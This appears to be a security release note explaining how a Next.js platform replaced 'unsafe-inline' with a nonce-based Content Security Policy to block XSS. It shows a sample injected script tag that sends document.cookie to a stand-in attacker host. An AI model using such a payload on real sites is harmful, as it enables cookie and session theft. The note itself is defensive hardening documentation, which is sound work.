Hardening XSS Defences: Moving to a Nonce-Based Content Security Policy
Hardening XSS Defences: Moving to a Nonce-Based Content Security Policy
Version: 1.0.403
Security Control: SEC-02 (OWASP)
Affected File: next.config.ts
Background
Content Security Policy (CSP) is a browser-enforced security layer that restricts which scripts, styles, and other resources a page is permitted to load and execute. A well-configured CSP is one of the most effective defences against Cross-Site Scripting (XSS) attacks.
Prior to this release, the platform's CSP included 'unsafe-inline' in both script-src and style-src. This directive was originally required to support Next.js hydration, but it carries a significant security trade-off: any XSS payload delivered via an inline <script> tag would not be blocked by the browser, because the CSP explicitly permitted all inline script execution.
The Problem: 'unsafe-inline' in script-src
When a CSP contains 'unsafe-inline', it instructs the browser to allow any inline script — whether it was placed there by the application or injected by an attacker. This effectively neutralises CSP as a defence against the most common class of XSS attacks.
Example of a vulnerable CSP (before this release):
Content-Security-Policy: script-src 'self' 'unsafe-inline'
With this policy, a successful XSS injection such as:
<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>
…would execute without any browser-level interception.
The Fix: Per-Request Cryptographic Nonces
This release implements a nonce-based CSP using the Next.js 13+ App Router. Here is how it works:
1. Nonce Generation in Middleware
A cryptographically random nonce is generated on every incoming request inside Next.js middleware. This nonce is:
- Unique per request (not shared across users or page loads)
- Injected into the outgoing
Content-Security-Policyresponse header - Passed through to the rendering layer via request headers
Updated CSP header:
Content-Security-Policy: script-src 'self' 'nonce-<random-base64-value>'
2. Nonce Passed to Script Components
All <Script> components in the application receive the nonce via the nonce prop. The browser will only execute a <script> tag whose nonce attribute matches the value declared in the CSP header for that response.
// Example — Script component with nonce
<Script
src="/path/to/script.js"
nonce={nonce}
/>
3. Inline Script Injection is Now Blocked
Because the nonce value is:
- Generated server-side on every request
- Never exposed to or predictable by an attacker
…any injected inline script will not carry a valid nonce and the browser will refuse to execute it, even if the attacker somehow inserts a <script> tag into the page.
Before and After
| Scenario | Before (unsafe-inline) | After (nonce-based) |
|---|---|---|
| Legitimate app scripts | ✅ Execute | ✅ Execute (nonce present) |
Injected inline <script> | ⚠️ Execute (not blocked) | 🚫 Blocked by browser |
| Third-party inline scripts without nonce | ✅ Execute | 🚫 Blocked by browser |